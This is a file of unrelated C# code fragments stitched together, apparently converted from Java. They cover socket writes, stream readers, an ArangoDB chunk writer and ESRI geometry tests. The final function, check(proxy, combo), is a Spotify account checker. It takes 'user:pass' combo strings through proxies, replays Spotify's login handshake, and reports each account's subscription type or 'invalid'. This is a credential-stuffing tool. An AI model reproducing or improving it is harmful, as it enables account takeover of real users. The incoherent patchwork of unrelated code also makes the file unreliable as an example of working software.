public static long write(object nd, FileDescriptor fd, ByteBuffer[] bufs, int offset, int length)
{
#if FIRST_PASS
return(0);
#else
ByteBuffer[] altBufs = null;
List <ArraySegment <byte> > list = new List <ArraySegment <byte> >(length);
for (int i = 0; i < length; i++)
{
ByteBuffer bb = bufs[i + offset];
if (!bb.hasArray())
{
if (altBufs == null)
{
altBufs = new ByteBuffer[bufs.Length];
}
ByteBuffer abb = ByteBuffer.allocate(bb.remaining());
int pos = bb.position();
abb.put(bb);
bb.position(pos);
abb.flip();
bb = altBufs[i + offset] = abb;
}
list.Add(new ArraySegment <byte>(bb.array(), bb.arrayOffset() + bb.position(), bb.remaining()));
}
int count;
try
{
count = fd.getSocket().Send(list);
}
catch (System.Net.Sockets.SocketException x)
{
if (x.ErrorCode == global::java.net.SocketUtil.WSAEWOULDBLOCK)
{
count = 0;
}
else
{
throw global::java.net.SocketUtil.convertSocketExceptionToIOException(x);
}
}
catch (ObjectDisposedException)
{
throw new global::java.net.SocketException("Socket is closed");
}
int total = count;
for (int i = 0; total > 0 && i < length; i++)
{
ByteBuffer bb = bufs[i + offset];
int consumed = Math.Min(total, bb.remaining());
bb.position(bb.position() + consumed);
total -= consumed;
}
return(count);
#endif
}
/// <exception cref="System.IO.IOException"></exception>
private void flushBytes(bool flushUnderlyingStream)
{
lock (@lock)
{
checkStatus();
int position = bytes.position();
if (position > 0)
{
bytes.flip();
@out.write(((byte[])bytes.array()), bytes.arrayOffset(), position);
bytes.clear();
}
if (flushUnderlyingStream)
{
@out.flush();
}
}
}
/// <exception cref="System.IO.IOException"/>
private void writeChunkHead(Chunk chunk)
{
long messageLength = chunk.getMessageLength();
int headLength = messageLength > -1L ? ArangoDBConstants.CHUNK_MAX_HEADER_SIZE
: ArangoDBConstants.CHUNK_MIN_HEADER_SIZE;
int length = chunk.getContentLength() + headLength;
java.nio.ByteBuffer buffer = java.nio.ByteBuffer.allocate(headLength).order(java.nio.ByteOrder
.LITTLE_ENDIAN);
buffer.putInt(length);
buffer.putInt(chunk.getChunkX());
buffer.putLong(chunk.getMessageId());
if (messageLength > -1L)
{
buffer.putLong(messageLength);
}
this.outputStream.write((byte[])buffer.array());
}
public virtual void testWKB2()
{
// JSON -> GEOM -> WKB
// String strPolygon1 =
// "{\"xmin\":-1.16605115291E7,\"ymin\":4925189.941699997,\"xmax\":-1.16567772126E7,\"ymax\":4928658.771399997,\"spatialReference\":{\"wkid\":102100}}";
string strPolygon1 = "{\"rings\" : [ [ [-1.16605115291E7,4925189.941699997], [-1.16567772126E7,4925189.941699997], [-1.16567772126E7,4928658.771399997], [-1.16605115291E7,4928658.771399997], [-1.16605115291E7,4925189.941699997] ] ], \"spatialReference\" : {\"wkid\" : 102100}}";
org.codehaus.jackson.JsonFactory factory = new org.codehaus.jackson.JsonFactory();
org.codehaus.jackson.JsonParser parser = factory.createJsonParser(strPolygon1);
parser.nextToken();
com.esri.core.geometry.MapGeometry mapGeom = com.esri.core.geometry.GeometryEngine
.jsonToGeometry(parser);
com.esri.core.geometry.Geometry geom = mapGeom.getGeometry();
// simplifying geom
com.esri.core.geometry.OperatorSimplify operatorSimplify = (com.esri.core.geometry.OperatorSimplify
)com.esri.core.geometry.OperatorFactoryLocal.getInstance().getOperator(com.esri.core.geometry.Operator.Type
.Simplify);
com.esri.core.geometry.SpatialReference sr = com.esri.core.geometry.SpatialReference
.create(102100);
geom = operatorSimplify.execute(geom, sr, true, null);
com.esri.core.geometry.OperatorExportToWkb operatorExport = (com.esri.core.geometry.OperatorExportToWkb
)com.esri.core.geometry.OperatorFactoryLocal.getInstance().getOperator(com.esri.core.geometry.Operator.Type
.ExportToWkb);
java.nio.ByteBuffer byteBuffer = operatorExport.execute(0, geom, null);
byte[] wkb = ((byte[])byteBuffer.array());
// // checking WKB correctness
// WKBReader jtsReader = new WKBReader();
// com.vividsolutions.jts.geom.Geometry jtsGeom = jtsReader.read(wkb);
// System.out.println("jtsGeom = " + jtsGeom);
// WKB -> GEOM -> JSON
com.esri.core.geometry.OperatorImportFromWkb operatorImport = (com.esri.core.geometry.OperatorImportFromWkb
)com.esri.core.geometry.OperatorFactoryLocal.getInstance().getOperator(com.esri.core.geometry.Operator.Type
.ImportFromWkb);
geom = operatorImport.execute(0, com.esri.core.geometry.Geometry.Type.Polygon, java.nio.ByteBuffer
.wrap(wkb), null);
NUnit.Framework.Assert.IsTrue(!geom.isEmpty());
}
public virtual void testWKB()
{
try
{
// JSON -> GEOM -> WKB
string strPolygon1 = "{\"xmin\":-1.1663479012889031E7,\"ymin\":4919777.494405342,\"xmax\":-1.1658587043078788E7,\"ymax\":4924669.464215587,\"spatialReference\":{\"wkid\":102100}}";
// String strPolygon1 =
// "{\"rings\":[[[-119.152450421001,38.4118009590513],[-119.318825070203,38.5271086243914],[-119.575687062955,38.7029101298904],[-119.889341639399,38.9222515603984],[-119.995254694357,38.9941061536377],[-119.995150114198,39.0634913594691],[-119.994541258334,39.1061318056708],[-119.995527335641,39.1587132866355],[-119.995304181493,39.3115454332125],[-119.996011479298,39.4435009764511],[-119.996165311172,39.7206108077274],[-119.996324660047,41.1775662656441],[-119.993459369715,41.9892049531992],[-119.351692186077,41.9888529749781],[-119.3109421304,41.9891353872811],[-118.185316829038,41.9966370981387],[-117.018864363596,41.9947941808341],[-116.992313337997,41.9947945094663],[-115.947544658193,41.9945994628997],[-115.024862911148,41.996506455953],[-114.269471632824,41.9959242345073],[-114.039072662345,41.9953908974688],[-114.038151248682,40.9976868405942],[-114.038108189376,40.1110466529553],[-114.039844684228,39.9087788600023],[-114.040105338584,39.5386849268845],[-114.044267501155,38.6789958815881],[-114.045090206153,38.5710950539539],[-114.047272999176,38.1376524399918],[-114.047260595159,37.5984784866001],[-114.043939384154,36.9965379371421],[-114.043716435713,36.8418489458647],[-114.037392074194,36.2160228969702],[-114.045105557286,36.1939778840226],[-114.107775185788,36.1210907070504],[-114.12902308363,36.041730493896],[-114.206768869568,36.0172554164834],[-114.233472615347,36.0183310595897],[-114.307587598189,36.0622330993643],[-114.303857056018,36.0871084040611],[-114.316095374696,36.1114380366653],[-114.344233941709,36.1374802520568],[-114.380803116644,36.1509912717765],[-114.443945697733,36.1210532841897],[-114.466613475422,36.1247112590539],[-114.530573568745,36.1550902046725],[-114.598935242024,36.1383354528834],[-114.621610747198,36.1419666834504],[-114.712761724737,36.1051810523675],[-114.728150311069,36.0859627711604],[-114.728966012834,36.0587530361083],[-114.717673567756,36.0367580437018],[-114.736212493583,35.9876483502758],[-114.699275906446,35.9116119537412],[-114.661600122152,35.8804735854242],[-114.662462095522,35.8709599070091],[-114.689867343369,35.8474424944766],[-114.682739704595,35.7647034175617],[-114.688820027649,35.7325957399896],[-114.665091345861,35.6930994107107],[-114.668486064922,35.6563989882404],[-114.654065925137,35.6465840800053],[-114.6398667219,35.6113485698329],[-114.653134321223,35.5848331056108],[-114.649792053474,35.5466373866597],[-114.672215155693,35.5157541647721],[-114.645396168451,35.4507608261463],[-114.589584275424,35.3583787306827],[-114.587889840369,35.30476812919],[-114.559583045727,35.2201828714608],[-114.561039964054,35.1743461616313],[-114.572255261053,35.1400677445931],[-114.582616239058,35.1325604694085],[-114.626440825485,35.1339067529872],[-114.6359090842,35.1186557767895],[-114.595631971944,35.0760579746697],[-114.633779872695,35.0418633504303],[-114.621068606189,34.9989144286133],[-115.626197382816,35.7956983148418],[-115.88576934392,36.0012259572723],[-117.160423771838,36.9595941441767],[-117.838686423167,37.457298239715],[-118.417419755966,37.8866767486211],[-119.152450421001,38.4118009590513]]], \"spatialReference\":{\"wkid\":4326}}";
org.codehaus.jackson.JsonFactory factory = new org.codehaus.jackson.JsonFactory();
org.codehaus.jackson.JsonParser parser = factory.createJsonParser(strPolygon1);
parser.nextToken();
com.esri.core.geometry.MapGeometry mapGeom = com.esri.core.geometry.GeometryEngine
.jsonToGeometry(parser);
com.esri.core.geometry.Geometry geom = mapGeom.getGeometry();
com.esri.core.geometry.OperatorExportToWkb operatorExport = (com.esri.core.geometry.OperatorExportToWkb
)com.esri.core.geometry.OperatorFactoryLocal.getInstance().getOperator(com.esri.core.geometry.Operator.Type
.ExportToWkb);
java.nio.ByteBuffer byteBuffer = operatorExport.execute(0, geom, null);
byte[] wkb = ((byte[])byteBuffer.array());
// WKB -> GEOM -> JSON
com.esri.core.geometry.OperatorImportFromWkb operatorImport = (com.esri.core.geometry.OperatorImportFromWkb
)com.esri.core.geometry.OperatorFactoryLocal.getInstance().getOperator(com.esri.core.geometry.Operator.Type
.ImportFromWkb);
geom = operatorImport.execute(0, com.esri.core.geometry.Geometry.Type.Polygon, java.nio.ByteBuffer
.wrap(wkb), null);
// geom = operatorImport.execute(0, Geometry.Type.Polygon,
// byteBuffer);
string outputPolygon1 = com.esri.core.geometry.GeometryEngine.geometryToJson(-1,
geom);
}
catch (org.codehaus.jackson.JsonParseException)
{
}
catch (System.IO.IOException)
{
}
}
public static void BlockCopy(ByteBuffer src, int srcPos, ByteBuffer dst, int dstPos, int length)
{
if (src.hasArray() && dst.hasArray())
{
java.lang.System.arraycopy(src.array(),
src.arrayOffset() + srcPos,
dst.array(),
dst.arrayOffset() + dstPos,
length);
}
else
{
if (src.limit() - srcPos < length || dst.limit() - dstPos < length)
{
throw new java.lang.IndexOutOfBoundsException();
}
for (int i = 0; i < length; i++)
{
// TODO: ByteBuffer.put is polymorphic, and might be slow here
dst.put(dstPos++, src.get(srcPos++));
}
}
}
public override int read(char[] buffer, int offset, int length)
{
lock (@lock)
{
if (!isOpen())
{
throw new System.IO.IOException("InputStreamReader is closed");
}
java.util.Arrays.checkOffsetAndCount(buffer.Length, offset, length);
if (length == 0)
{
return(0);
}
java.nio.CharBuffer @out = java.nio.CharBuffer.wrap(buffer, offset, length);
java.nio.charset.CoderResult result = java.nio.charset.CoderResult.UNDERFLOW;
// bytes.remaining() indicates number of bytes in buffer
// when 1-st time entered, it'll be equal to zero
bool needInput = !bytes.hasRemaining();
while (@out.hasRemaining())
{
// fill the buffer if needed
if (needInput)
{
try
{
if (@in.available() == 0 && @out.position() > offset)
{
// we could return the result without blocking read
break;
}
}
catch (System.IO.IOException)
{
}
// available didn't work so just try the read
int desiredByteCount = bytes.capacity() - bytes.limit();
int off = bytes.arrayOffset() + bytes.limit();
int actualByteCount = @in.read(((byte[])bytes.array()), off, desiredByteCount);
if (actualByteCount == -1)
{
endOfInput = true;
break;
}
else
{
if (actualByteCount == 0)
{
break;
}
}
bytes.limit(bytes.limit() + actualByteCount);
needInput = false;
}
// decode bytes
result = decoder.decode(bytes, @out, false);
if (result.isUnderflow())
{
// compact the buffer if no space left
if (bytes.limit() == bytes.capacity())
{
bytes.compact();
bytes.limit(bytes.position());
bytes.position(0);
}
needInput = true;
}
else
{
break;
}
}
if (result == java.nio.charset.CoderResult.UNDERFLOW && endOfInput)
{
result = decoder.decode(bytes, @out, true);
decoder.flush(@out);
decoder.reset();
}
if (result.isMalformed() || result.isUnmappable())
{
result.throwException();
}
return(@out.position() - offset == 0 ? -1 : @out.position() - offset);
}
}
public static string check(string proxy, string combo)
{
try
{
HttpRequest vlient = new HttpRequest();
JArray lol =
JArray.Parse(
JObject.Parse(vlient.Get("http://apresolve.spotify.com/?type=accesspoint").ToString())[
"accesspoint"].ToString());
TcpClient clinet = null;
Random random = new Random();
string host = lol[random.Next(0, lol.Count)].ToString();
if (proxy == "null")
{
clinet = new TcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1]));
}
else
{
clinet = ProxyTcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1]), proxy.Split(':')[0], int.Parse(proxy.Split(':')[1]));
}
//clinet = new TcpClient(host.Split(':')[0], int.Parse(host.Split(':')[1]));
if (clinet == null)
{
return("error");
}
clinet.ReceiveTimeout = 4000;
clinet.SendTimeout = 4000;
com.JB.crypto.DiffieHellman keys = new com.JB.crypto.DiffieHellman(new java.util.Random());
byte[] clientHello = com.JB.core.Session.clientHello(keys);
Accumulator acc = new Accumulator();
var a = clinet.GetStream();
a.WriteByte(0x00);
a.WriteByte(0x04);
a.WriteByte(0x00);
a.WriteByte(0x00);
a.WriteByte(0x00);
a.Flush();
int lenght = 2 + 4 + clientHello.Length;
byte[] bytes = BitConverter.GetBytes(lenght);
a.WriteByte(bytes[0]);
a.Write(clientHello, 0, clientHello.Length);
a.Flush();
Byte[] buffer = new byte[1000];
int len = int.Parse(a.Read(buffer, 0, buffer.Length).ToString());
byte[] tmp = new byte[len];
Array.Copy(buffer, tmp, len);
tmp = tmp.Skip(4).ToArray();
acc.writeByte(0x00);
acc.writeByte(0x04);
acc.writeInt(lenght);
acc.write(clientHello);
acc.writeInt(len);
acc.write(tmp);
acc.dump();
com.spotify.Keyexchange.APResponseMessage apResponseMessage =
com.spotify.Keyexchange.APResponseMessage.parseFrom(tmp);
byte[] sharedKey = com.JB.common.Utils.toByteArray(keys.computeSharedKey(apResponseMessage
.getChallenge().getLoginCryptoChallenge().getDiffieHellman().getGs().toByteArray()));
java.security.KeyFactory factory = java.security.KeyFactory.getInstance("RSA");
java.security.PublicKey publicKey = factory.generatePublic(
new java.security.spec.RSAPublicKeySpec(new java.math.BigInteger(1, serverKey),
java.math.BigInteger.valueOf(65537)));
java.security.Signature sig = java.security.Signature.getInstance("SHA1withRSA");
sig.initVerify(publicKey);
sig.update(apResponseMessage.getChallenge().getLoginCryptoChallenge().getDiffieHellman().getGs()
.toByteArray());
sig.verify(apResponseMessage.getChallenge().getLoginCryptoChallenge().getDiffieHellman()
.getGsSignature().toByteArray());
java.io.ByteArrayOutputStream data = new java.io.ByteArrayOutputStream(100);
javax.crypto.Mac mac = javax.crypto.Mac.getInstance("HmacSHA1");
mac.init(new javax.crypto.spec.SecretKeySpec(sharedKey, "HmacSHA1"));
for (int i = 1; i < 6; i++)
{
mac.update(acc.array());
mac.update(new byte[] { (byte)i });
data.write(mac.doFinal());
mac.reset();
}
byte[] dataArray = data.toByteArray();
mac = javax.crypto.Mac.getInstance("HmacSHA1");
mac.init(new javax.crypto.spec.SecretKeySpec(java.util.Arrays.copyOfRange(dataArray, 0, 0x14),
"HmacSHA1"));
mac.update(acc.array());
byte[] challenge = mac.doFinal();
com.spotify.Keyexchange.ClientResponsePlaintext clientResponsePlaintext = com.spotify.Keyexchange
.ClientResponsePlaintext.newBuilder()
.setLoginCryptoResponse(com.spotify.Keyexchange.LoginCryptoResponseUnion.newBuilder()
.setDiffieHellman(com.spotify.Keyexchange.LoginCryptoDiffieHellmanResponse.newBuilder()
.setHmac(com.google.protobuf.ByteString.copyFrom(challenge)).build())
.build())
.setPowResponse(com.spotify.Keyexchange.PoWResponseUnion.newBuilder().build())
.setCryptoResponse(com.spotify.Keyexchange.CryptoResponseUnion.newBuilder().build())
.build();
byte[] clientResponsePlaintextBytes = clientResponsePlaintext.toByteArray();
len = 4 + clientResponsePlaintextBytes.Length;
a.WriteByte(0x00);
a.WriteByte(0x00);
a.WriteByte(0x00);
byte[] bytesb = BitConverter.GetBytes(len);
a.WriteByte(bytesb[0]);
a.Write(clientResponsePlaintextBytes, 0, clientResponsePlaintextBytes.Length);
a.Flush();
com.spotify.Authentication.LoginCredentials loginCredentials = com.spotify.Authentication
.LoginCredentials.newBuilder()
.setUsername(combo.Split(':')[0])
.setTyp(com.spotify.Authentication.AuthenticationType.AUTHENTICATION_USER_PASS)
.setAuthData(com.google.protobuf.ByteString.copyFromUtf8(combo.Split(':')[1]))
.build();
com.spotify.Authentication.ClientResponseEncrypted clientResponseEncrypted = com.spotify.Authentication
.ClientResponseEncrypted.newBuilder()
.setLoginCredentials(loginCredentials)
.setSystemInfo(com.spotify.Authentication.SystemInfo.newBuilder()
.setOs(com.spotify.Authentication.Os.OS_UNKNOWN)
.setCpuFamily(com.spotify.Authentication.CpuFamily.CPU_UNKNOWN)
.setSystemInformationString(com.JB.Version.systemInfoString())
.setDeviceId(com.JB.common.Utils.randomHexString(new java.util.Random(), 30))
.build())
.setVersionString(com.JB.Version.versionString())
.build();
com.JB.crypto.Shannon sendCipher = new com.JB.crypto.Shannon();
sendCipher.key(java.util.Arrays.copyOfRange(data.toByteArray(), 0x14, 0x34));
AtomicInteger sendNonce = new AtomicInteger(0);
com.JB.crypto.Shannon recvCipher = new com.JB.crypto.Shannon();
recvCipher.key(java.util.Arrays.copyOfRange(data.toByteArray(), 0x34, 0x54));
AtomicInteger recvNonce = new AtomicInteger(0);
sendCipher.nonce(com.JB.common.Utils.toByteArray(sendNonce.getAndIncrement()));
java.nio.ByteBuffer buffer2 =
java.nio.ByteBuffer.allocate(1 + 2 + clientResponseEncrypted.toByteArray().Length);
buffer2.put(com.JB.crypto.Packet.Type.Login.val)
.putShort((short)clientResponseEncrypted.toByteArray().Length)
.put(clientResponseEncrypted.toByteArray());
byte[] bytess = buffer2.array();
sendCipher.encrypt(bytess);
byte[] macc = new byte[4];
sendCipher.finish(macc);
a.Write(bytess, 0, bytess.Length);
a.Write(macc, 0, macc.Length);
a.Flush();
recvCipher.nonce(com.JB.common.Utils.toByteArray(recvNonce.getAndIncrement()));
byte[] headerBytes = new byte[3];
a.Read(headerBytes, 0, 3);
recvCipher.decrypt(headerBytes);
short payloadLength = (short)((headerBytes[1] << 8) | (headerBytes[2] & 0xFF));
byte[] payloadBytes = new byte[payloadLength];
a.Read(payloadBytes, 0, payloadBytes.Length);
recvCipher.decrypt(payloadBytes);
byte[] maccc = new byte[4];
a.Read(maccc, 0, maccc.Length);
if (headerBytes[0] == 172)
{
com.spotify.Authentication.APWelcome apWelcome = com.spotify.Authentication.APWelcome.parseFrom(payloadBytes);
int i = 0;
string lel = "";
string lel2 = "";
while (true)
{
recvCipher.nonce(com.JB.common.Utils.toByteArray(recvNonce.getAndIncrement()));
headerBytes = new byte[3];
a.Read(headerBytes, 0, 3);
recvCipher.decrypt(headerBytes);
payloadLength = (short)((headerBytes[1] << 8) | (headerBytes[2] & 0xFF));
payloadBytes = new byte[payloadLength];
a.Read(payloadBytes, 0, payloadBytes.Length);
Thread.Sleep(10);
recvCipher.decrypt(payloadBytes);
maccc = new byte[4];
a.Read(maccc, 0, maccc.Length);
//File.WriteAllBytes(headerBytes[0]+".txt",payloadBytes);
if (headerBytes[0] == 27)
{
System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
lel2 = enc.GetString(payloadBytes);
i++;
}
if (headerBytes[0] == 80)
{
Console.WriteLine(com.JB.core.Session.parse(payloadBytes).get("financial-product").ToString());
lel = com.JB.core.Session.parse(payloadBytes).get("financial-product").ToString();
i++;
}
if (i >= 2)
{
return(lel + "-lol-" + apWelcome + "-lol-" + lel2);
}
}
}
else if (headerBytes[0] == 173)
{
return("invalid");
}
}
catch (Exception ex)
{
return("error");
}
return("error");
}